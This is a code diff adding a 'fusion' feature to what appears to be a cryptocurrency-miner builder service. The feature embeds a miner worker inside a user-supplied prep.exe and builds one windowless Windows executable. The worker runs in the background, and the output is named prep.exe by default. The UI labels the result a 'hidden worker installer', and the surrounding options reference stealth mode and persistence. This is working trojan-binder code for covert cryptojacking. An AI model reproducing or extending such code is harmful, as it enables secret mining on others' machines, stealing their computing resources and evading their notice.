diff --git a/fusion/go.mod b/fusion/go.mod
new file mode 100644
index 0000000..0f06a9d
--- /dev/null
+++ b/fusion/go.mod
@@ -0,0 +1,3 @@
+module crypto-miner-fusion
+
+go 1.26.3
diff --git a/fusion/main.go b/fusion/main.go
new file mode 100644
index 0000000..0200446
--- /dev/null
+++ b/fusion/main.go
@@ -0,0 +1,71 @@
+package main
+
+import (
+	_ "embed"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"sync"
+)
+
+//go:embed assets/prep.exe
+var prepExe []byte
+
+//go:embed assets/worker.exe
+var workerExe []byte
+
+// RunOrder is replaced at build time (parallel | prep_first | worker_first).
+const runOrder = "FUSION_RUN_ORDER"
+
+func main() {
+	dir, err := os.MkdirTemp("", "cm-fusion-*")
+	if err != nil {
+		return
+	}
+	defer os.RemoveAll(dir)
+
+	prepPath := filepath.Join(dir, "prep.exe")
+	workerPath := filepath.Join(dir, "worker.exe")
+	if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
+		return
+	}
+	if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
+		return
+	}
+
+	switch runOrder {
+	case "prep_first":
+		waitProcess(prepPath)
+		startProcess(workerPath)
+	case "worker_first":
+		waitProcess(workerPath)
+		waitProcess(prepPath)
+	default:
+		var wg sync.WaitGroup
+		wg.Add(2)
+		go func() {
+			defer wg.Done()
+			waitProcess(prepPath)
+		}()
+		go func() {
+			defer wg.Done()
+			startProcess(workerPath)
+		}()
+		wg.Wait()
+	}
+}
+
+func startProcess(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	_ = cmd.Start()
+}
+
+func waitProcess(path string) {
+	cmd := exec.Command(path)
+	cmd.Dir = filepath.Dir(path)
+	if err := cmd.Run(); err != nil {
+		fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
+	}
+}
diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go
new file mode 100644
index 0000000..af4d04b
--- /dev/null
+++ b/server/internal/builder/fusion.go
@@ -0,0 +1,82 @@
+package builder
+
+import (
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
+	if prepPath == "" {
+		return "", fmt.Errorf("fusion requires prep.exe")
+	}
+	if _, err := os.Stat(prepPath); err != nil {
+		return "", fmt.Errorf("prep.exe not found: %w", err)
+	}
+	if _, err := os.Stat(workerPath); err != nil {
+		return "", fmt.Errorf("worker binary not found: %w", err)
+	}
+
+	fusionSrc := filepath.Join(h.projectRoot, "fusion")
+	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
+		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
+	}
+
+	fusionDir := filepath.Join(buildDir, "fusion")
+	assetsDir := filepath.Join(fusionDir, "assets")
+	if err := os.MkdirAll(assetsDir, 0755); err != nil {
+		return "", err
+	}
+
+	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+	if err != nil {
+		return "", err
+	}
+	order := normalizeFusionOrder(runOrder)
+	mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
+	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
+		return "", err
+	}
+
+	if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
+		return "", err
+	}
+	if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
+		return "", err
+	}
+	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+		return "", err
+	}
+
+	if outputName == "" {
+		outputName = "prep.exe"
+	}
+	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+		outputName += ".exe"
+	}
+	outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
+
+	cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".")
+	cmd.Dir = fusionDir
+	cmd.Env = append(os.Environ(),
+		"GOOS=windows",
+		"GOARCH=amd64",
+		"CGO_ENABLED=0",
+	)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
+	}
+	return outputPath, nil
+}
+
+func normalizeFusionOrder(order string) string {
+	switch strings.ToLower(strings.TrimSpace(order)) {
+	case "prep_first", "worker_first", "parallel":
+		return strings.ToLower(strings.TrimSpace(order))
+	default:
+		return "parallel"
+	}
+}
diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go
index ce15d4c..9bb94d1 100644
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -5,6 +5,7 @@ import (
 	"fmt"
 	"io"
 	"log"
+	"mime/multipart"
 	"net/http"
 	"os"
 	"os/exec"
@@ -51,17 +52,22 @@ type BuildRequest struct {
 	PoolPort            int    `json:"pool_port"`
 	PoolTLS             bool   `json:"pool_tls"`
 	PoolPass            string `json:"pool_pass"`
+	FusionEnabled       bool   `json:"fusion_enabled"`
+	FusionRunOrder      string `json:"fusion_run_order"`
+	FusionOutputName    string `json:"fusion_output_name"`
 }
 
 type BuildResponse struct {
-	Success      bool   `json:"success"`
-	BuildID      string `json:"build_id,omitempty"`
-	FileName     string `json:"file_name,omitempty"`
-	FilePath     string `json:"file_path,omitempty"`
-	RelativePath string `json:"relative_path,omitempty"`
-	FileSize     int64  `json:"file_size,omitempty"`
-	DownloadURL  string `json:"download_url,omitempty"`
-	Error        string `json:"error,omitempty"`
+	Success       bool   `json:"success"`
+	BuildID       string `json:"build_id,omitempty"`
+	FileName      string `json:"file_name,omitempty"`
+	FilePath      string `json:"file_path,omitempty"`
+	RelativePath  string `json:"relative_path,omitempty"`
+	FileSize      int64  `json:"file_size,omitempty"`
+	DownloadURL   string `json:"download_url,omitempty"`
+	FusionEnabled bool   `json:"fusion_enabled,omitempty"`
+	WorkerFile    string `json:"worker_file,omitempty"`
+	Error         string `json:"error,omitempty"`
 }
 
 type Handler struct {
@@ -93,17 +99,58 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	}
 
 	var req BuildRequest
-	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
-		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
-		return
+	var prepPath string
+	var cleanupPrep func()
+
+	contentType := r.Header.Get("Content-Type")
+	if strings.HasPrefix(contentType, "multipart/form-data") {
+		if err := r.ParseMultipartForm(150 << 20); err != nil {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
+			return
+		}
+		configJSON := r.FormValue("config")
+		if configJSON == "" {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
+			return
+		}
+		if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
+			return
+		}
+		file, header, err := r.FormFile("prep_exe")
+		if err != nil {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
+			return
+		}
+		defer file.Close()
+		saved, remove, err := h.saveUploadedPrep(file, header)
+		if err != nil {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
+			return
+		}
+		prepPath = saved
+		cleanupPrep = remove
+	} else {
+		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
+			return
+		}
+	}
+
+	if cleanupPrep != nil {
+		defer cleanupPrep()
 	}
 
 	if err := h.normalizeRequest(&req); err != nil {
 		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
 		return
 	}
+	if req.FusionEnabled && prepPath == "" {
+		writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
+		return
+	}
 
-	resp, status, outputPath := h.buildAgent(&req)
+	resp, status, outputPath := h.buildAgent(&req, prepPath)
 	if !resp.Success {
 		writeJSON(w, status, resp)
 		return
@@ -135,7 +182,7 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
 	http.ServeFile(w, r, build.FilePath)
 }
 
-func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
+func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
 	buildID := uuid.New().String()
 	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
 	agentDir := filepath.Join(buildDir, "agent")
@@ -157,11 +204,14 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
 		return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
 	}
 
-	outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
-	outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
+	workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
+	if req.FusionEnabled {
+		workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
+	}
+	outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
 
 	ldflags := "-s -w -trimpath"
-	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
+	if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
 		ldflags += " -H windowsgui"
 	}
 
@@ -179,15 +229,29 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
 		return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
 	}
 
-	fileInfo, err := os.Stat(outputPath)
+	finalPath := outputPath
+	finalName := workerName
+	var fusionEnabled bool
+
+	if req.FusionEnabled {
+		fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
+		if err != nil {
+			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
+		}
+		finalPath = fusedPath
+		finalName = filepath.Base(fusedPath)
+		fusionEnabled = true
+	}
+
+	fileInfo, err := os.Stat(finalPath)
 	if err != nil {
 		return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
 	}
 
-	absPath, _ := filepath.Abs(outputPath)
+	absPath, _ := filepath.Abs(finalPath)
 	relPath, _ := filepath.Rel(h.projectRoot, absPath)
 	if relPath == "" || strings.HasPrefix(relPath, "..") {
-		relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
+		relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
 	}
 
 	buildRecord := &models.BuildRecord{
@@ -209,14 +273,16 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
 	}
 
 	return BuildResponse{
-		Success:      true,
-		BuildID:      buildID,
-		FileName:     outputName,
-		FilePath:     absPath,
-		RelativePath: relPath,
-		FileSize:     fileInfo.Size(),
-		DownloadURL:  fmt.Sprintf("/api/v1/builds/%s/download", buildID),
-	}, http.StatusOK, outputPath
+		Success:       true,
+		BuildID:       buildID,
+		FileName:      finalName,
+		FilePath:      absPath,
+		RelativePath:  relPath,
+		FileSize:      fileInfo.Size(),
+		DownloadURL:   fmt.Sprintf("/api/v1/builds/%s/download", buildID),
+		FusionEnabled: fusionEnabled,
+		WorkerFile:    workerName,
+	}, http.StatusOK, finalPath
 }
 
 func (h *Handler) normalizeRequest(req *BuildRequest) error {
@@ -308,9 +374,52 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.PoolPass == "" {
 		req.PoolPass = "x"
 	}
+	if req.FusionEnabled {
+		if req.FusionOutputName == "" {
+			req.FusionOutputName = "prep.exe"
+		}
+		if req.FusionRunOrder == "" {
+			req.FusionRunOrder = "parallel"
+		}
+		if req.DisplayMode == "" || req.DisplayMode == "visible" {
+			req.DisplayMode = "background"
+		}
+	}
 	return nil
 }
 
+func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
+	if header == nil || header.Size == 0 {
+		return "", nil, fmt.Errorf("prep.exe upload is empty")
+	}
+	if header.Size > 150<<20 {
+		return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
+	}
+	name := strings.ToLower(header.Filename)
+	if !strings.HasSuffix(name, ".exe") {
+		return "", nil, fmt.Errorf("prep upload must be a .exe file")
+	}
+
+	dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
+	if err != nil {
+		return "", nil, err
+	}
+	dest := filepath.Join(dir, "prep.exe")
+	out, err := os.Create(dest)
+	if err != nil {
+		os.RemoveAll(dir)
+		return "", nil, err
+	}
+	if _, err := io.Copy(out, file); err != nil {
+		out.Close()
+		os.RemoveAll(dir)
+		return "", nil, err
+	}
+	out.Close()
+	cleanup := func() { _ = os.RemoveAll(dir) }
+	return dest, cleanup, nil
+}
+
 func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
 	return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
 // Build ID: %s
diff --git a/server/internal/builder/handler_test.go b/server/internal/builder/handler_test.go
index 9fc656e..81c0959 100644
--- a/server/internal/builder/handler_test.go
+++ b/server/internal/builder/handler_test.go
@@ -34,9 +34,9 @@ func TestNormalizeRequestRequiresWallet(t *testing.T) {
 func TestNormalizeRequestPersistence(t *testing.T) {
 	h := &Handler{}
 	req := &BuildRequest{
-		WorkerName: "pc-1",
-		ServerURL:  "http://192.168.1.10:8989",
-		Wallet:     "48abc",
+		WorkerName:  "pc-1",
+		ServerURL:   "http://192.168.1.10:8989",
+		Wallet:      "48abc",
 		Persistence: true,
 	}
 	if err := h.normalizeRequest(req); err != nil {
@@ -46,3 +46,28 @@ func TestNormalizeRequestPersistence(t *testing.T) {
 		t.Fatal("persistence should enable auto start")
 	}
 }
+
+func TestNormalizeRequestFusion(t *testing.T) {
+	h := &Handler{}
+	req := &BuildRequest{
+		WorkerName:    "pc-1",
+		ServerURL:     "http://192.168.1.10:8989",
+		Wallet:        "48abc",
+		FusionEnabled: true,
+	}
+	if err := h.normalizeRequest(req); err != nil {
+		t.Fatal(err)
+	}
+	if req.FusionOutputName != "prep.exe" {
+		t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName)
+	}
+	if req.FusionRunOrder != "parallel" {
+		t.Fatalf("expected parallel order, got %s", req.FusionRunOrder)
+	}
+}
+
+func TestNormalizeFusionOrder(t *testing.T) {
+	if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" {
+		t.Fatalf("unexpected order: %s", got)
+	}
+}
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index aa43e70..1ce59eb 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -40,11 +40,27 @@ export const api = {
     }),
 
   // Builder
-  buildAgent: (req: BuildRequest) =>
-    fetchJSON<BuildResponse>('/builder/build', {
+  buildAgent: (req: BuildRequest, prepFile?: File | null) => {
+    if (req.fusion_enabled) {
+      if (!prepFile) {
+        return Promise.reject(new Error('Fusion requires prep.exe upload'));
+      }
+      const form = new FormData();
+      form.append('config', JSON.stringify(req));
+      form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
+      return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
+        if (!res.ok) {
+          const err = await res.text();
+          throw new Error(`API error ${res.status}: ${err}`);
+        }
+        return res.json() as Promise<BuildResponse>;
+      });
+    }
+    return fetchJSON<BuildResponse>('/builder/build', {
       method: 'POST',
       body: JSON.stringify(req),
-    }),
+    });
+  },
 
   downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
 
diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts
index a0669d3..b407441 100644
--- a/server/web/src/help/settingHelp.ts
+++ b/server/web/src/help/settingHelp.ts
@@ -47,6 +47,9 @@ export const FIELD_HELP: Record<string, string> = {
   run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
   silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
   auto_start: 'Same as Persistence. Keeps miner running after reboot.',
+  fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
+  fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
+  fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index 31731d7..b500991 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
     pool_pass: config.pool.password,
+    fusion_enabled: false,
+    fusion_run_order: 'parallel',
+    fusion_output_name: 'prep.exe',
   };
 }
 
@@ -52,6 +55,7 @@ export default function BuilderPage() {
   const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
   const [showRecent, setShowRecent] = useState(false);
   const [loadingDefaults, setLoadingDefaults] = useState(true);
+  const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
 
   useEffect(() => {
     Promise.all([api.getConfig(), api.getServerInfo()])
@@ -95,10 +99,14 @@ export default function BuilderPage() {
       setError('Custom install base path is required when Install Base is Custom');
       return;
     }
+    if (form.fusion_enabled && !fusionPrepFile) {
+      setError('Fusion requires your prep.exe file');
+      return;
+    }
 
     setBuilding(true);
     try {
-      const result = await api.buildAgent(form);
+      const result = await api.buildAgent(form, fusionPrepFile);
       if (!result.success) {
         throw new Error(result.error || 'Build failed');
       }
@@ -477,6 +485,58 @@ export default function BuilderPage() {
               </div>
             </div>
 
+            <div className="form-section">
+              <h3>Fusion (prep + worker)</h3>
+              <p className="form-description">
+                Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
+              </p>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.fusion_enabled}
+                    onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
+                  <span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
+                </label>
+                <FieldHint field="fusion_enabled" />
+              </div>
+              {form.fusion_enabled && (
+                <>
+                  <div className="form-group">
+                    <label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
+                    <input
+                      type="file"
+                      className="input"
+                      accept=".exe,application/octet-stream"
+                      onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
+                    />
+                    {fusionPrepFile && (
+                      <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
+                    )}
+                  </div>
+                  <div className="form-row">
+                    <div className="form-group">
+                      <label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
+                      <select className="select" value={form.fusion_run_order}
+                        onChange={(e) => updateField('fusion_run_order', e.target.value)}>
+                        <option value="parallel">Parallel (both at once)</option>
+                        <option value="prep_first">Prep first, then worker</option>
+                        <option value="worker_first">Worker first, then prep</option>
+                      </select>
+                      <FieldHint field="fusion_run_order" />
+                    </div>
+                    <div className="form-group">
+                      <label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
+                      <input type="text" className="input mono" value={form.fusion_output_name}
+                        onChange={(e) => updateField('fusion_output_name', e.target.value)} />
+                      <FieldHint field="fusion_output_name" />
+                    </div>
+                  </div>
+                  <p className="form-hint">
+                    Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
+                  </p>
+                </>
+              )}
+            </div>
+
             {error && (
               <div className="form-error">
                 <span>⚠️</span> {error}
@@ -494,6 +554,9 @@ export default function BuilderPage() {
             <h2>Installer Ready</h2>
             <div className="build-success">
               <p><strong>Run this once on each Windows machine:</strong></p>
+              {lastBuild.fusion_enabled && (
+                <p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
+              )}
               <p><strong>File:</strong> {lastBuild.file_name}</p>
               <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
               <p><strong>Absolute path:</strong></p>
diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts
index 0283429..9f642bb 100644
--- a/server/web/src/types/index.ts
+++ b/server/web/src/types/index.ts
@@ -165,6 +165,9 @@ export interface BuildRequest {
   pool_port: number;
   pool_tls: boolean;
   pool_pass: string;
+  fusion_enabled: boolean;
+  fusion_run_order: string;
+  fusion_output_name: string;
 }
 
 export interface BuildResponse {
@@ -176,6 +179,8 @@ export interface BuildResponse {
   file_size?: number;
   download_url?: string;
   error?: string;
+  fusion_enabled?: boolean;
+  worker_file?: string;
 }
 
 export interface WSMessage {